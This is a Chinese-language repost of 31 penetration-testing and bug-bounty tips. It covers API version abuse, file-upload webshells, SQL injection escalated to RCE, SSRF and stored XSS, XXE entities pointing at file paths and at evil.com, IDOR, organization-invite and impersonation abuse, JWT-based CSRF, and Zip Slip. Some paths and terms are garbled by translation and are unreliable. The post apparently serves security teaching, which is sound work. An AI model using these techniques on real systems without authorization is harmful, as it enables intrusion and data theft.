技巧1:
较旧的 API 版本往往更容易受到攻击,并且缺乏安全机制。利用 REST API 的可预测性来查找旧版本。看到一个电话api/v3/login?检查是否api/v1/login存在。它可能更脆弱。
技巧2:
测试需要 AuthN 但您没有Web 应用程序的用户 ?<第 1/2 部分>
使用谷歌"site:[host]"查找子页面;其中一些可能不会强制执行 AuthN
访问/home, /default并使用 DirButser 查找更多子页面
技巧3:
下载 JS 并寻找像这样的字符串"create_user"/"register";您可能会找到 AuthN API EP 并使用它们直接注册。
使用http://bugmenot.com或http://login2.me查找凭据
技巧4:
文件上传 --> RCE
Windows:恶意文件上传到 C:ProgramDataMicrosoftWindowsStart MenuProgramsStartUp
IIS:web-shell 上传到 C:inetpubwwwroot[3]
Apache:网络webshell上传到 /var/www/html/
请记住,在许多情况下,[物理路径] --> [虚拟目录] 的转换并不简单;
您可以做的测试是找到“任意文件下载”漏洞,扫描服务器并找到虚拟目录的物理位置。*
技巧5:
SQLi --> RCE [1/2] | 查找包含看起来像文件路径/URL 的记录的表。内部系统可能会使用 SQL 作为计划作业/更新机制的一部分。将值更改为恶意文件的路径/URL
技巧6 :
SQLi --> RCE [2/2] | 始终寻找由 DBA 编写的自定义存储生成器。生产者可能使用危险的 PLSQL/T-SQL 函数,您的 SQL payloads无法直接访问
技巧7:
SQLi --> SSRF
使用函数触发 HTTP 调用
oracle:UTL_HTTP.request
MSSQL:master..xp_dirtree
更多信息:http://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/
技巧8:
白盒渗透测试?学习被测试语言的危险功能。
Java:https://stackoverflow.com/a/4351516 |
.NET:https://stackoverflow.com/a/20903746 |
PHP:https://stackoverflow.com/a/3115645 |
Ruby:https://cheatsheetseries.owasp.org/cheatsheets/Ruby_on_Rails_Cheat_Sheet.html |
(或者干脆谷歌:[语言] + 安全最佳实践)
技巧9:
我最喜欢的 XXE --> RCE 发现:
XML 解析器支持"gopher://"- SSRF 强效!
本地运行的 Java 调试器,支持“Telnet 调试” 🤨
阅读调试器文档
恶意payloads使用 gopher 调用调试器并运行原始 Java 代码 🤠
技巧10:
找到XXE了吗?利用它:
DoS:XML 炸弹
LFI:(<!ENTITY xxe SYSTEM "file://path"> 在路径中尝试 2 个斜杠 (Windows) , 3 个斜杠 (Linux))
SSRF:(<!ENTITY xxe SYSTEM "http://evil.com"> 尝试不同的协议 [ssh、ftp 等])
技巧11:
最近了解到:Grafana 仪表板倾向于使用 ElasticSearch API。在我测试过的 30% 的时间里,它们容易受到简单攻击:如果对 Elastic 的 GraphQL 查询包含"filter"/"filter_id",则将其删除,然后访问其他用户的信息。
也与 Kibana 相关
技巧12:
常见的误解:AuthN EPs == Login EPs。那是错误的!
凭据恢复
使用魔术链接/1 时间码登录
管理员“查看为...”
所有这些都应该被视为 AuthN EP,并且需要额外的保护(速率限制等)
技巧13:
如何查找 API 中的详细错误?
发送字符串而不是数字 ( age=ddd)
删除必要的参数(例如,发送 PM 并删除"receiver_name"参数)
打破 JSON 结构(删除 '}')
删除必要的标题/cookie
技巧14:
找到 SQLI 了吗?DB没有有趣的数据?查找存储网站内容的表,并利用它来导致存储的 XSS。
技巧15:
你最有趣的渗透测试故事是什么?
我曾经在一个论坛中发现一个存储的XSS,留下了一个影响所有用户的愚蠢的“EVIL”警报;他们没有“删除帖子”功能;必须找到一个 SQLi 来删除它🙃
技巧16:
==保护 AuthN EP ==
速率限制 - 需要验证码/阻止访问次数过多的 IP 地址
帐户锁定 - 多次尝试以用户 X 身份进行身份验证失败?阻止对用户 X 的访问一段时间。
始终推荐验证码*
技巧17:
测试 SQLi?永远记住数据库是不同的。特别是串联和评论。
MSSQL: abc' + 'def --
MySQL: 'abc' || 'def' #
Oracle: abc' || 'def' --
请记住,多行注释格式通常在注入中不起作用
技巧18:
在渗透测试之前,我总是:
使用 Burp 捕获浏览器流量
合法使用目标应用程序,尝试使用所有按钮、视图、仪表板等
使用 Burp Tree View 更好地理解应用程序,包括... [in sub tweet]
哪些 EP 包含 ID 应用程序是否有子 API?客户端应用程序与哪些外部服务进行通信?
技巧19:
B2B 应用程序通常具有“管理您的组织”功能 - 易受攻击的沃土!
创建 2 个属于不同组织的用户
从 org2 以 user2 身份登录
将 org1 中的 user1 添加到您的组织
查找"get/export org users"API
泄露用户 1 信息
技巧20:
B2B 应用程序通常具有“邀请用户加入您的组织”功能。
邀请现有用户加入您的组织 2."accept_invite"使用虚拟用户了解 API 调用的外观
代表受害者接受邀请
一旦成为您组织中的受害者 - 游戏结束
技巧21:
B2B 应用程序通常为组织管理员提供“模拟用户”功能。
创建组织管理员用户
了解 API 调用 "impersonate_user"
尝试委派给来自不同组织的用户
可能导致全面接管账户
技巧22:
应用程序提供“模拟用户”功能?检查应用程序是否在模拟后更改了您的 auth_token;如果确实如此 - 确保模拟令牌遵循最佳实践(https://auth0.com/docs/best-practices/token-best-practices)通常不会!
技巧23:
API 允许发送私人消息吗?尝试将“receiver_id”更改为数组而不是单个字符串/整数。可能被用作向系统发送垃圾邮件的一种方式。
技巧24:
我通常在应用程序中找到 IDOR (BOLA) 的地方是允许将数据提取为文件的功能。
"download_report/org_id=11"
"my_activity_as_pdf?user_id=22"
这些通常由不完全了解 Authz 机制的不同团队开发
技巧25:
AuthZ 标头中带有 JWT 的 API?
复制 JWT b64 值
添加新的 cookie - “auth_token”、“jwt_token”、“jwt”,粘贴 b64 作为值
复制之前的 API 调用,添加 cookie,删除标头。
作品?AuthN 支持 cookie
API 90% 易受 CSRF 攻击
技巧26:
应用程序允许上传 .zip/rar 档案吗?
很有可能它很容易受到 Zip Slip 的影响!将恶意文件放入 zip 中,使用 HexEditor 编辑 zip,使用目录遍历更改最终目标。分别尝试第一次和第二次出现
技巧27:
查找详细错误:
发送数组而不是原始(age=[21]而不是age=21)
以 HTTP 方法发送 Unicode 字符 (G✔️)
发送长 Unicode 字符串 ( age=✔️x100)
如果 API 收到 URL,请删除分号(http// 而不是 http://)
技巧28:
图片上传功能?
上传图片并检查 URL
如果文件未存储在 CDN 上 -->
上传带有脚本标签的 HTML 文件
如果上传成功,可能是XSS
技巧29:
在渗透测试之前,我总是:
以普通用户身份使用app了解BL
创建 2 个用户
映射允许用户之间交互的所有功能(收件箱、邀请、合作者);这些通常是查找 AuthZ 问题的好地方
技巧30:
我收到的最佳漏洞赏金提示:始终关注隐藏在主仪表板中的最基础功能。它们不太可能被渗透测试覆盖,开发人员通常会花更少的时间来保护它们。/子推文中的例子/
暂时暴露的功能,例如“创建圣诞贺卡”或“黑色星期五彩票”仪表板向有限的用户群公开(优步:Uber-eats 司机 | FB:应用程序开发人员 | 航空公司:黄金会员门户)旧版本的 API
技巧31:
Bug 赏金狩猎是一项压力很大的工作。如果您发现自己在找不到漏洞后不知所措,请提醒自己某些应用程序比其他应用程序更安全。将正念应用于您的日常生活并在 RCE 之间进行冥想🧘♂️
作者雨苁,原文:https://www.ddosi.org/
好文推荐
欢迎关注 系统安全运维
每日坚持分享好工具好资源,麻烦各位师傅文章底部给点个“再看”,感激不尽
本文始发于微信公众号(系统安全运维):31条渗透测试技巧|31个漏洞赏金挖掘技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论